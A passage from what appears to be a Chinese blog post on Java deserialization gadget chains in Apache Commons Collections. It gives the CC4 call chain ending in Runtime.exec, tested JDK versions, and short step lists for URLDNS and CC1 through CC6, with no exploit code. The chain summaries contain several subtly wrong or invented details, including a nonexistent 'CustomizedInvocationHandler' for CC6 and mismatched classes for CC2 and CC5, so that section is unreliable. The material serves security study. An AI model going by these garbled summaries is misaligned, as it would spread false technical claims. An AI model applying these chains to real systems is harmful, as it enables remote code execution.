_class进行newInstance,进行实例化对象。执行完这一步后,就会弹出计算器,也就是说执行了我们前面构造好的命令执行代码。

在这里插入图片描述

调用链

getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare->ChainedTransformer.transform
->TrAXFilter(构造方法)->TemplatesImpl.newTransformer
->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc4.newInstance()->Runtime.exec()
0x03 结尾#

在CC1和CC3里面只能在低版本执行,而CC2和CC4可以在1.8 的版本下执行,调试CC1,3用的是JDK7u21版本,而2和4使用的是jdk8U181版本,亲测可用。

cc5

cc6

cc 链小结

urlDNS

urldns 主要用于验证目标是否存在反序列化漏洞。它本身并不执行代码,而是通过发送特制的序列化数据,检测目标是否会触发反序列化过程,从而判断目标是否可能受到反序列化漏洞的影响。

cc1

与 urlDNS 链类似,cc1 链的起点是某个类的 readObject() 方法。要实现反序列化利用,必须重写 readObject() 方法,使其能够接受任意对象作为参数。cc1 链的利用过程通常涉及以下步骤:

  1. 构造恶意序列化对象: 利用可序列化类(如 LazyMap)构建恶意对象。
  2. 触发反序列化: 通过特定方式(如文件上传、RMI 调用等)将恶意序列化对象发送给目标。
  3. 执行任意代码: 利用链中的特定方法调用执行任意代码。
cc2

cc2 链 利用的是 Apache Commons Collections 库中的 TransformedMap 类。其核心思路是:

  1. 利用 TransformingComparatortransform 方法。
  2. 利用 InvokerTransformertransform 方法调用 Method.invoke
  3. 利用 Runtime.getRuntime().exec() 执行命令。
cc3

cc3 链 利用的是 Apache Commons Collections 库中的 LazyMap 类和 ChainedTransformer 类。其核心思路是:

  1. 利用 ChainedTransformer 链接多个 Transformer
  2. 利用 ConstantTransformer 获取 Runtime.class
  3. 利用 InvokerTransformer 调用 getMethod 获取 getRuntime 方法。
  4. 利用 InvokerTransformer 调用 invoke 获取 Runtime 对象。
  5. 利用 InvokerTransformer 调用 exec 方法执行命令。
cc4

cc4 链 利用的是 Apache Commons Collections 库中的 LazyMap 类和 TransformingComparator 类。其核心思路是:

  1. 利用 TransformingComparatorcompare 方法。
  2. 利用 InvokerTransformertransform 方法调用 Method.invoke
  3. 利用 Runtime.getRuntime().exec() 执行命令。
cc5

cc5 链 利用的是 Apache Commons Collections 库中的 TransformingComparator 类和 AnnotationInvocationHandler 类。其核心思路是:

  1. 利用 TransformingComparatorcompare 方法。
  2. 利用 InvokerTransformertransform 方法调用 Method.invoke
  3. 利用 AnnotationInvocationHandlerinvoke 方法调用 readObject
  4. 利用 LazyMapget 方法触发 readObject
  5. 利用 Runtime.getRuntime().exec() 执行命令。
cc6

cc6 链 利用的是 Apache Commons Collections 库中的 LazyMap 类和 CustomizedInvocationHandler 类。其核心思路是:

  1. 利用 CustomizedInvocationHandlerinvoke 方法调用 readObject
  2. 利用 LazyMapget 方法触发 readObject
  3. 利用 TransformingComparatorcompare 方法。
  4. 利用 InvokerTransformertransform 方法调用 Method.invoke
  5. 利用 Runtime.getRuntime().exec() 执行命令。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值